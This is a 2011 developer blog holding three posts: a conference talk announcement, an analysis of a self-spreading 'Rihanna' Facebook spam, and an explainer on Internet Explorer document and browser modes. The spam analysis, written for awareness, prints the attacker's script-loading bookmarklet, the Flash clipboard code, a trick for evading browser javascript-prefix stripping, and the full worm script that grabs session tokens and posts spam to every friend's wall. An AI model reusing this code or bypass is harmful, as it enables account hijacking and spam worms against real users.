Dec 15 2011

Hack Your Way with the F12 Developer Tools-Virtual TechDays 2011

Category: NovoGeek @ 08:12

Happy to say that I have presented at Microsoft Virtual TechDays 2011 in Developer's Track. It was a 3 day online technical event (Dec 14-16, 2011) with ~75 sessions from 84 Industry experts on Microsoft technologies.

My session is titled "Hack Your Way with the F12 Developer Tools". The developer tools that come with Internet Explorer 9 are a powerful aid to solving compatibility, network, script profiling, and performance issues; debugging code; managing HTML and CSS; editing on the fly and validating markup; and last but not least, inspecting HTML, CSS and JavaScript.

Presentation: Click here

Though I could not meet developers in person, I enjoyed presenting a demo filled session, which I hope would be useful for developers. Happy learning!

Tags: ,

Nov 11 2011

Analyzing the new “Rihanna” Facebook spam

Category: NovoGeek @ 08:21

rihanna-7Some of you might have seen a fast spreading spam on Facebook with the name “Rihanna” (named after the popular singer/recording artist), as in the screen shot. We have been seeing several spam messages on Facebook these days and it appears this is yet another social engineering trick by spammers.

However, the speed at which it is spreading definitely boasts about the good success rate of the spam and to its credit, this “wall flooding” spam has some interesting technical learning.

1. This is not based on Clickjacking, though a non-clickable video icon appears misleading.

2. Unlike many spams, this does not leave facebook.com and navigate to a new domain. It spreads through facebook pages itself, which is convincing.

3. It lures the user to paste code in browser’s address bar convincingly (old wine in new bottle).

Overview: On clicking the spam post (link is in the above screenshot), the user will be redirected to attacker’s facebook page as shown in the screenshots below. Initially a youtube like video appears (this is a “.swf” file which plays the key role). After a few seconds, It changes itself into a “security check” text with “continue” button as in the pic. On clicking the “continue” button, the 3 convincing instructions appear, following which a malicious JavaScript is injected into the active window. The injected malicious script posts the above message and obscene images on the wall of ALL friends of the user!

rihanna-blog

Technical details:

Once the user follows all the instructions, the JavaScript snippet shown below is injected into the browser, which has “src” attribute pointing to the actual malicious .js file (masked the url in the screenshot & snippet). In fact, this is a commonly used technique for creating bookmarklets and adding them to your browser’s bookmarklet toolbar. When used maliciously for attracting users to perform undesirable action, it is referred to as “Socially engineered XSS attack”. 

javascript:(a=(b=document).createElement('script')).src='http://free-xx-xx.info/rihh.js',b.body.appendChild(a);void(0)

This .js file has the logic for doing all the harm but there doesn’t end the matter. The unanswered questions are, how did this script get into user’s clipboard? The user never copied any code snippet manually and browsers’ sandbox model doesn’t allow cross domain JavaScript to access clipboard without explicit permission. Also, what is the need for the inquisitive instruction “Press J on your keyboard”?

1. On analyzing the source of the above facebook page using browser developer tool bars (IE Dev toolbar, Firebug etc), one can see an iframe which points to attacker’s external website (looks like the attacker maintains several malicious domains).

2. Now, inspecting the source of the attacker’s external webpage shows that it embeds a flash (.swf) file which mimics genuine youtube video.

3. Going a step further, inspecting the source of this “.swf” file (using one of the online flash decompilers) gives the code which does the actual harm! It has a timer which changes the youtube like image to the security check screen. On clicking the “continue” button, the below action script is triggered, which intuitively sets text to clipboard.

//This is action script code from attacker's ".swf" file.
on (release) {
System.setClipboard("avascript:(a=(b=document).createElement('script')).src='http://free-xx-xx.info/rihh.js',
b.body.appendChild(a);void(0)");
_root.play();
}

Notice the first word of the text which is being set into the clipboard, “avascript:”. It is NOT a typo. It should actually be “javascript:” but the letter “j” is omitted for a rather compelling reason!

“JavaScript:” prefix and modern browsers:

Much to the annoyance of spammers, modern browsers implemented a less known but very interesting security feature. Any code with “JavaScript:” prefix pasted into the address bar will get the prefix stripped off, thereby preventing script execution. Internet Explorer 9 pioneered this and recently other browser vendors came up with their own implementations.

//Copy this JavaScript snippet, open IE9 and paste in address bar.
//You will notice that the "javascript:" prefix will be magically stripped off!
javascript:alert('foo');

Coming back to the “.swf” file, to bypass the above browser defense mechanism in some popular browsers, the letter “J” of JavaScript is omitted while setting the script to clipboard. So the spammers cleverly asked the users to first press the letter “J” and then press “Ctrl+V” and hit enter. This completes the full snippet with “javascript:” prefix thereby bypassing prefix stripping. Isn’t this smart? Though this extra step is expected to reduce success rate of attacks, it somewhat increased the curiosity of users.

NOTE: Internet Explorer 9 doesn't even allow combinations like typing "j" and pasting "avascript:alert('hi');" in the address bar. So this attack will fail in IE9! YaY!!

Chrome 16.0.912.41 in my machine strips the "javascript:" prefix when "javascript:alert('hi');" is pasted directly, but allows typing "j" and pasting "avascript:alert('hi');".

For the curious folks, here is the entire JavaScript code injected by the attack. It executes in the context of user’s facebook window with full previleges!

var post_form_id = document['getElementsByName']('post_form_id')[0]['value'];
var fb_dtsg = document['getElementsByName']('fb_dtsg')[0]['value'];
var user_id = document['cookie']['match'](document['cookie']['match'](/c_user=(\d+)/)[1]);
var httpwp = new XMLHttpRequest();
var urlwp = '/ajax/profile/composer.php?__a=1';
var paramswp = 'post_form_id=' + post_form_id + '&fb_dtsg=' + fb_dtsg + '&xhpc_composerid=u3bbpq_21&xhpc_targetid=' + user_id + '&xhpc_context=profile&xhpc_location=&xhpc_fbx=1&xhpc_timeline=&xhpc_ismeta=1&xhpc_message_text=HEY%20CHECK%20THIS%20OUT&xhpc_message=HEY%20CHECK%20THIS%20OUT&aktion=post&app_id=2309869772&attachment[params][0]=156861974410959&attachment[type]=18&composertags_place=&composertags_place_name=&composer_predicted_city=102186159822587&composer_session_id=1320586865&is_explicit_place=&audience[0][value]=80&composertags_city=&disable_location_sharing=false&nctr[_mod]=pagelet_wall&lsd&post_form_id_source=AsyncRequest&__user=' + user_id + '';
httpwp['open']('POST', urlwp, true);
httpwp['setRequestHeader']('Content-type', 'application/x-www-form-urlencoded');
httpwp['setRequestHeader']('Content-length', paramswp['length']);
httpwp['setRequestHeader']('Connection', 'keep-alive');
httpwp['send'](paramswp);
var friends = new Array();
gf = new XMLHttpRequest();
gf['open']('GET', '/ajax/typeahead/first_degree.php?__a=1&viewer=' + user_id + '&token' + Math['random']() + '&filter[0]=user&options[0]=friends_only', false);
gf['send']();
if (gf['readyState'] != 4) {} else {
data = eval('(' + gf['responseText']['substr'](9) + ')');
if (data['error']) {} else {
friends = data['payload']['entries']['sort'](function (_0x93dax8, _0x93dax9) {
return _0x93dax8['index'] - _0x93dax9['index'];
});
};
};
for (var i = 0; i < friends['length']; i++) {
var httpwp = new XMLHttpRequest();
var urlwp = '/ajax/profile/composer.php?__a=1';
var paramswp = 'post_form_id=' + post_form_id + '&fb_dtsg=' + fb_dtsg + '&xhpc_composerid=u2qr0v_15&xhpc_targetid=' + friends[i]['uid'] + '&xhpc_context=profile&xhpc_location=&xhpc_fbx=1&xhpc_timeline=&xhpc_ismeta=1&xhpc_message_text=Oh%20my%20god%2Ccheck%20this&xhpc_message=Oh%20my%20god%2Ccheck%20this&aktion=post&app_id=2309869772&attachment[params][0]=156861974410959&attachment[type]=18&composertags_place=&composertags_place_name=&composer_predicted_city=102186159822587&composer_session_id=1320585896&is_explicit_place=&audience[0][value]=80&composertags_city=&disable_location_sharing=false&nctr[_mod]=pagelet_wall&lsd&post_form_id_source=AsyncRequest&__user=' + user_id + '&';
httpwp['open']('POST', urlwp, true);
httpwp['setRequestHeader']('Content-type', 'application/x-www-form-urlencoded');
httpwp['setRequestHeader']('Content-length', paramswp['length']);
httpwp['setRequestHeader']('Connection', 'keep-alive');
httpwp['onreadystatechange'] = function () {
if (httpwp['readyState'] == 4 && httpwp['status'] == 200) {};
};
httpwp['send'](paramswp);
};
document['getElementById']('contentArea')['innerHTML'] = '<center><br><br><br><br><br><img src="http://www.hindustantimes.com/images/loading_gif.gif" /><br />Please wait...</center>';
setTimeout('top.location=\'http://free-xx-xx.info/play-video.php\';', 20000);

There are several variants of this spam residing at different URLs in facebook pages. Facebook has been blocking these variants one by one and by the time of writing this post even the url in the pic is blocked.

Hope this article helped in understanding how spammers think and gave a feel of the damage that can be done by simple games/apps on the web, if you are not careful. Do share this with your friends and increase awareness.

Happy & secure browsing :)

Tags: , , ,

Aug 1 2011

The why and how of "Document mode" and "Browser mode" in Internet Explorer

Category: NovoGeek @ 00:28

Web developers who are using IE9 might have already played with the new F12 developer tools and have seen "Browser mode" and "Document mode". For those of you who haven't explored, the  are the menu options which you can find in the developer tools of IE8/IE9 (hit F12 key and check). These are basically useful to test and make sure that your site runs well in various versions of IE.

IE9 modes

Web developers use browser and document modes frequently, yet not many know how these two differ and when to use what. e.g., If you are using ECMAScript 5 object model (which is supported in IE9) and want to have fallback options in lower versions, what would you use to test? Browser mode or Document mode? In the first place, why should there be two such options in the F12 tools and how did they evolve?

This post tries to answer the above questions and help web devs ease their exploration. Before looking at when to use these options, let us dig back into the sweet history and see how these modes evolved. I'm sure this would make the modern day (drag/drop day?) web developers understand their responsibility in building a web of standards!

Doctype, Quirks mode, Standard mode: 

The entire concept of different browsing modes originated in March 2000, when Internet Explorer-5 (IE5) for Mac was released. It was supposedly the most standard compliant browser at that time (better than IE5 for Windows). It was following standards so seriously that all the legacy, handcoded webpages of that time broke. Microsoft innovatively solved this issue by looking at "Doctype". Pages which had a valid doctype directive were rendered as per latest web standards by browsers (Standard Mode). Else, they were rendered as per the quirks/vendor specific implementations of late 90s (Qurik's Mode). This idea was implemented by most of the major browsers and it existed till date.  Hence evolved the "Standards Mode" and "Quirks Mode".

e.g., This is how XHTML1.0 Doctype looked like:
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.1//EN" "http://www.w3.org/TR/xhtml11/DTD/xhtml11.dtd">
W3c has a very useful page on why you should follow web standards (make sure your manager reads this!)

With HTML5, the Doctype got over simplified!: <!DOCTYPE html>

The Doctype tells the browser about the version of markup used and instructs it what rules it should follow to render the content (e.g., ignoring deprecated tags, allow/disallow framesets etc).

So, the issue of distinguishing pages which follow standards from those which do not follow got resolved. However, browser specific quirks still existed, which would create a bigger problem.

User-agent string and Browser detection:

While some of the websites designed in early 2000 slowly adapted to doctype and standards mode, a majority of them targeted proprietary features and maintained different pages for IE and Netscape, for the same site. This is done using a technique called Browser Detection. As the name suggests, a web server can detect the browser used to send a HTTP request. This info is sniffed from a string in the HTTP header of a HTTP request, called the User-Agent.

E.g., The user-agent string for IE8 looks like:
Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; Trident/4.0)

and the user agent for Firefox 5.0 looks like:
Mozilla/5.0 (Windows NT 6.1.1; rv:5.0) Gecko/20100101 Firefox/5.0

Since the user-agent string is sent in HTTP request, it can be queried on the server, e.g., in ASP.NET using C#, as:

String userAgent;
userAgent = Request.UserAgent;
if (userAgent.IndexOf("MSIE 6.0") > -1)
{
   // This browser is IE 6.0.
}

Even today, many websites use browser detection via user-agent not only for browser compatibility, but also for other reasons like preventing web crawlers from making expensive database calls, denying permission to very old browsers for security/business reasons etc.

Browser detection via user-agent string helped in distinguishing different browsers and handling their quirks. However, developers don't yet have a chance of saying that they are not ready to migrate to a newer version, or they want to target only a specific version of IE till they migrate.

Document Compatibility:

On one hand, while web developers followed web standards/browser specific tweaks, new versions of IE came in, fixing lot of existing bugs, introducing newer features and supporting several W3C standards. IE6 did not support the universal selector ('*'), while IE7 added this support. The standards mode of IE7 replaced the standards mode of IE6, which forced developers to migrate their sites to IE7 standards mode. This became a problem, since there is no way of targeting a specific version of IE, as they are unsure if a better standard in a newer version of browser might break their code.

When IE8 was released, it introduced the concept of document compatibility, which provides an option to developer to specify the version of IE that they intended to support. Taking into consideration the large userbase of IE and millions of web pages which already existed with version specific tweaks, this was a welcome change. Developers can specify the version they want to target via an X-UA-Compatible header in meta tag, like:

<head>
  <!-- Respects Doctype directive and renders in Internet Explorer 8 standards mode-->
  <meta http-equiv="X-UA-Compatible" content="IE=EmulateIE8" >
  <title>My webpage</title>
</head>

In JavaScript, the document mode can be found using: alert(document.documentMode);

The whole idea of compatibility mode is NOT to ask developers to target specific version. Instead, it is in support of "Don't break the web" clause. This way, developers can take time to follow proper web standards (without depending on version specific quirks) and migrate to latest browsers, without breaking their site.

How F12 Developer tools help:

Having understood the background so far, it is obvious that developers/businesses have a tough time in supporting rapidly evolving standards, meet the quirks of existing browsers without compromising on business functionality.

Browser mode: To test for different versions of IE, the "Browser mode" option in F12 tools can be used. It sets the user-agent string to the browser mode option which is chosen and sends HTTP request to the server (this is a full postback). The site then responds with an appropriate document type, based on the doctype and X-UA-Compatible header.

So, if you select IE8 browser mode, IE will present the page in a way which IE8 user experiences. Also, since the user-string is sent in HTTP request to the server, the browser detection code written in C# (as seen in the above section) works and all server side manipulations can be done.

Document mode: The document mode essentially decides the mode in which IE's rendering engine (Trident) should display the markup. In other words, changing the document mode in F12 tools will have exactly the same effect as specifying your own X-UA-Compatible header in your web page. The main difference from browser mode is, when document mode is changed, there will NOT be a fresh request to the server and hence the user-agent string will NOT be sent. Its only that the rendering engine displays content according to your choice.

Bonus: The F12 tools also provide an option to test your site in different browsers. Harish Ranganathan wrote a recent blog post on changing user agents.

Few tips:

(1) Use <!DOCTYPE html> directive as a standard for your web pages. It is backward compatible and also makes your site HTML5 enabled.

(2) Do not use browser detection. Use feature detection instead.

(3) Use X-UA-Compatible header only till you make your site standards compliant. Get rid of it at the earliest so that your site can scale along with modern standards/browsers.

(4) Use libraries like Modernizr for feature detection, instead of borrowing buggy JS code from the internet.

References worth reading:

(1) Why IE5/Mac matters-AlistApart

(2) IE8 Document & Browser mode-Nicholas Zakas

(3) Testing sites with Browser mode vs Document mode-IE Blog

(4) Understanding User-Agents-IE Blog

Tags: